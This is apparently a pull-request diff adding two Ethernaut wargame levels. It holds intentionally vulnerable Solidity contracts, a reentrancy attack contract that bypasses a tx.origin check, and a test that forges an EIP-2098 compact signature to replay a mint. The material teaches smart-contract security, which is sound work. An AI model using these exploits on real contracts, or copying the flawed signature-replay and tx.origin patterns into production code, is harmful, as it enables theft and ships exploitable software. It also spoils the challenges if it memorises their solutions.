Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 3 additions & 0 deletions .gitmodules
Original file line number Diff line number Diff line change
Expand Up @@ -13,3 +13,6 @@
[submodule "contracts/lib/openzeppelin-contracts-v5.4.0"]
path = contracts/lib/openzeppelin-contracts-v5.4.0
url = https://github.com/openzeppelin/openzeppelin-contracts
[submodule "contracts/lib/openzeppelin-contracts"]
path = contracts/lib/openzeppelin-contracts
url = https://github.com/openzeppelin/openzeppelin-contracts
13 changes: 12 additions & 1 deletion client/src/gamedata/authors.json
Original file line number Diff line number Diff line change
Expand Up @@ -234,7 +234,18 @@
"emails": [
"jacquotvincent96@gmail.com"
]
}
},
"Draiakoo":{
"name": [
"Draiakoo"
],
"websites":
[
"https://github.com/Draiakoo/",
"www.x.com/Draiakoo"
],
"emails": ["polureher@gmail.com"]
}

}
}
11 changes: 11 additions & 0 deletions client/src/gamedata/en/descriptions/levels/forger.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
This is the Forger, the token printer your mom warned you about.

This ERC20 hands out mint passes signed by the owner... or so they say.

One golden signature already exists, good for 100 shiny tokens.

The team insists the pass is single-use and perfectly safe.

Your goal? Making the total supply greater than 100 tokens.

Get creative, stay sharp, and may your forgeries be legendary.
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
You haveve shown why storing raw signatures isn’t enough, they can sneak past with replays or alternate encodings.

The safer route is to use a nonce system to tie each mint to a unique action.
This ensures every signature can only be spent once, no matter how it’s encoded.

EIP-2098 short signatures? Handle them with car, normalize before trusting.

Congrats, you have mastered the art of not being forged yourself. 🔐
13 changes: 13 additions & 0 deletions client/src/gamedata/en/descriptions/levels/uniquenft.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
Welcome to UniqueNFT, where any user can get its very own shiny digital badge.

Humans with EOAs? You mint for free, no questions asked. Proof of Humanity for the win!

Smart contracts? Sorry bots, pay the toll –> one whole ether!

But here’s the twist: one badge per address, no greedy hoarding allowed.

And forget about trading, these things stick like glue.

It’s like blockchain tattoos, once it’s yours, it’s yours forever.

Think you can outsmart the rules and own more a single NFT? Prove it.
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
Thought `tx.origin == msg.sender` would save you from smart contract callers? Not anymore.

With EIP-7702, an EOA can slip into contract-like behavior, delegate calls, and sneak past that old check. The assumption that EOAs cannot reenter a function is now more dangerous than ever.

By reentering `mintNFTEOA` from the `onERC721Received` callback, you can mint as many NFTs as you want. Suddenly, one badge isn’t the limit, it’s just the beginning.
30 changes: 30 additions & 0 deletions client/src/gamedata/gamedata.json
Original file line number Diff line number Diff line change
Expand Up @@ -586,6 +586,36 @@
"deployId": "37",
"instanceGas": 2000000,
"author": "jack"
},
{
"name": "UniqueNFT",
"created": "2025-10-06",
"difficulty": "5",
"description": "uniquenft.md",
"completedDescription": "uniquenft_complete.md",
"levelContract": "UniqueNFTFactory.sol",
"instanceContract": "UniqueNFT.sol",
"revealCode": true,
"deployParams": [],
"deployFunds": 0,
"deployId": "38",
"instanceGas": 750000,
"author": "Draiakoo"
},
{
"name": "Forger",
"created": "2025-10-07",
"difficulty": "5",
"description": "forger.md",
"completedDescription": "forger_complete.md",
"levelContract": "ForgerFactory.sol",
"instanceContract": "Forger.sol",
"revealCode": true,
"deployParams": [],
"deployFunds": 0,
"deployId": "39",
"instanceGas": 750000,
"author": "Draiakoo"
}
]
}
23 changes: 23 additions & 0 deletions contracts/foundry.lock
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"lib/forge-std": {
"rev": "8bbcf6e3f8f62f419e5429a0bd89331c85c37824"
},
"lib/openzeppelin-contracts": {
"rev": "afb2011"
},
"lib/openzeppelin-contracts-06": {
"rev": "8e0296096449d9b1cd7c5631e917330635244c37"
},
"lib/openzeppelin-contracts-08": {
"rev": "ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d"
},
"lib/openzeppelin-contracts-4.6.0": {
"rev": "afb20119b33072da041c97ea717d3ce4417b5e01"
},
"lib/openzeppelin-contracts-upgradeable": {
"rev": "2d081f24cac1a867f6f73d512f2022e1fa987854"
},
"lib/openzeppelin-contracts-v5.4.0": {
"rev": "c64a1edb67b6e3f4a15cca8909c9482ad33a02b0"
}
}
1 change: 1 addition & 0 deletions contracts/lib/openzeppelin-contracts
Submodule openzeppelin-contracts added at d4fb3a
1 change: 1 addition & 0 deletions contracts/lib/openzeppelin-contracts-v4.6.0
Submodule openzeppelin-contracts-v4.6.0 added at d4fb3a
4 changes: 3 additions & 1 deletion contracts/remappings.txt
Original file line number Diff line number Diff line change
Expand Up @@ -2,4 +2,6 @@ forge-std/=lib/forge-std/src/
openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/
openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/
openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/
openzeppelin-contracts-v5.4.0/=lib/openzeppelin-contracts-v5.4.0/contracts/
openzeppelin-contracts-v5.4.0/=lib/openzeppelin-contracts-v5.4.0/contracts/
openzeppelin-contracts-v4.6.0/=lib/openzeppelin-contracts-v4.6.0/contracts/
openzeppelin/=lib/openzeppelin-contracts/contracts/
19 changes: 19 additions & 0 deletions contracts/src/attacks/UniqueNFTAttack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import { IERC721Receiver } from "openzeppelin-contracts-v5.4.0/token/ERC721/IERC721Receiver.sol";
import { UniqueNFT } from "../levels/UniqueNFT.sol";

contract UniqueNFTAttack is IERC721Receiver{

bool public entered;

function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
if(!entered){
entered = true;
UniqueNFT(msg.sender).mintNFTEOA();
}
return IERC721Receiver.onERC721Received.selector;
}
}
55 changes: 55 additions & 0 deletions contracts/src/levels/Forger.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import { ERC20 } from "openzeppelin-contracts-v4.6.0/token/ERC20/ERC20.sol";
import { ECDSA } from "openzeppelin-contracts-v4.6.0/utils/cryptography/ECDSA.sol";

contract Forger is ERC20 {

error SignatureExpired();
error SignatureUsed();
error InvalidSigner(address wrongSigner);
error OnlyOwner();

address public owner = 0xC9CAF9e17BBb4e4D27810d97d2C2a467A701e0D5;
mapping(bytes32 signatureHash => bool used) public signatureUsed;

constructor() ERC20("Forger Token", "FT") {}

// It seems like the owner has already signed a mint of tokens for someone:
// signature = f73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb1c
// amount = 100 ether
// receiver = 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e
// salt = 0x044852b2a670ade5407e78fb2863c51de9fcb96542a07186fe3aeda6bb8a116d
// deadline = 115792089237316195423570985008687907853269984665640564039457584007913129639935
function createNewTokensFromOwnerSignature(
bytes calldata signature,
address receiver,
uint256 amount,
bytes32 salt, // this allows to create the same amount for the same receiver more than 1 time with a different signature
uint256 deadline // expiry protection
) public {
require(block.timestamp <= deadline, SignatureExpired());
require(!signatureUsed[keccak256(signature)], SignatureUsed());

bytes32 messageHash = keccak256(abi.encode(
receiver,
amount,
salt,
deadline
));

address signer = ECDSA.recover(messageHash, signature);

require(signer == owner, InvalidSigner(signer));

signatureUsed[keccak256(signature)] = true;

_mint(receiver, amount);
}

function invalidateSignature(bytes calldata signature) external {
require(msg.sender == owner, OnlyOwner());
signatureUsed[keccak256(signature)] = true;
}
}
19 changes: 19 additions & 0 deletions contracts/src/levels/ForgerFactory.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./base/Level.sol";
import "./Forger.sol";

contract ForgerFactory is Level {
function createInstance(address _player) public payable override returns (address) {
_player;
return address(new Forger());
}

function validateInstance(address payable _instance, address _player) public view override returns (bool) {
_player;
Forger instance = Forger(_instance);
return instance.totalSupply() > 100 ether;
}
}
42 changes: 42 additions & 0 deletions contracts/src/levels/UniqueNFT.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import { ERC721 } from "openzeppelin-contracts-v5.4.0/token/ERC721/ERC721.sol";
import { ERC721Utils } from "openzeppelin-contracts-v5.4.0/token/ERC721/utils/ERC721Utils.sol";
import { ReentrancyGuard } from "openzeppelin-contracts-v5.4.0/utils/ReentrancyGuard.sol";

contract UniqueNFT is ERC721, ReentrancyGuard {

uint256 public tokenId;

constructor() ERC721("UniqueNFT", "UNFT") {}

/// @notice Function to mint NFTs for smart contracts only
/// @notice Smart contracts need to pay a fee to mint the NFT
/// @dev Has reentrancy protection just in case the smart contract would try to do some bad stuff
function mintNFTSmartContract() external payable nonReentrant returns(uint256 mintedNFT) {
require(msg.value == 1 ether, "fee not sent");
mintedNFT = _mintNFT();
}

/// @notice Function to mint NFTs for EOAs only
/// @notice EOAs are exempt from minting the NFT
function mintNFTEOA() external returns(uint256 mintedNFT) {
require(tx.origin == msg.sender, "not an EOA");
mintedNFT = _mintNFT();
}

function _mintNFT() private returns(uint256) {
require(balanceOf(msg.sender) == 0, "only one unique NFT allowed");
uint256 _tokenId = tokenId++;
ERC721Utils.checkOnERC721Received(address(0), address(0), msg.sender, _tokenId, "");
_mint(msg.sender, _tokenId);
return _tokenId;
}

function _update(address to, uint256 _tokenId, address auth) internal override returns (address) {
address from = super._update(to, _tokenId, auth);
require(from == address(0), "transfers not allowed");
return from;
}
}
19 changes: 19 additions & 0 deletions contracts/src/levels/UniqueNFTFactory.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./base/Level.sol";
import "./UniqueNFT.sol";

contract UniqueNFTFactory is Level {

function createInstance(address _player) public payable override returns (address) {
_player;
return address((new UniqueNFT)());
}

function validateInstance(address payable _instance, address _player) public view override returns (bool) {
_player;
UniqueNFT instance = UniqueNFT(_instance);
return instance.balanceOf(_player) > 1;
}
}
86 changes: 86 additions & 0 deletions contracts/test/levels/Forger.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test, Vm} from "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";

import {Forger} from "src/levels/Forger.sol";
import {ForgerFactory} from "src/levels/ForgerFactory.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestForger is Test, Utils {
Ethernaut ethernaut;
Forger instance;

address payable owner;
address payable player;

address public bob = 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e;
bytes public signatureToMintForBob = hex"f73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb1c";

/*//////////////////////////////////////////////////////////////
HELPERS
//////////////////////////////////////////////////////////////*/

function setUp() public {
address payable[] memory users = createUsers(1);

owner = users[0];
vm.label(owner, "Owner");

vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
ForgerFactory factory = new ForgerFactory();
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();

vm.startPrank(player);
instance = Forger(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
instance.createNewTokensFromOwnerSignature(signatureToMintForBob, bob, 100 ether, keccak256("0"), type(uint256).max);
vm.stopPrank();
}

/*//////////////////////////////////////////////////////////////
TESTS
//////////////////////////////////////////////////////////////*/

function testInit() public {
vm.startPrank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
}

function testSolveForger() public {
// Extract v, r and s from the signature
bytes memory sig = signatureToMintForBob;
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}

// Forge the new signature according to EIP2098
bytes32 vs;
if (v == 28) {
vs = bytes32(uint256(s) | (1 << 255));
} else {
vs = s;
}
bytes memory forgedSignature = abi.encodePacked(r, vs);


vm.startPrank(player);
instance.createNewTokensFromOwnerSignature(forgedSignature, bob, 100 ether, keccak256("0"), type(uint256).max);
assertTrue(submitLevelInstance(ethernaut, address(instance)));
}

function testTryToReuseSameSignature() public {
vm.startPrank(player);
vm.expectRevert(Forger.SignatureUsed.selector);
instance.createNewTokensFromOwnerSignature(signatureToMintForBob, bob, 100 ether, keccak256("0"), type(uint256).max);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
}
}
Loading
Loading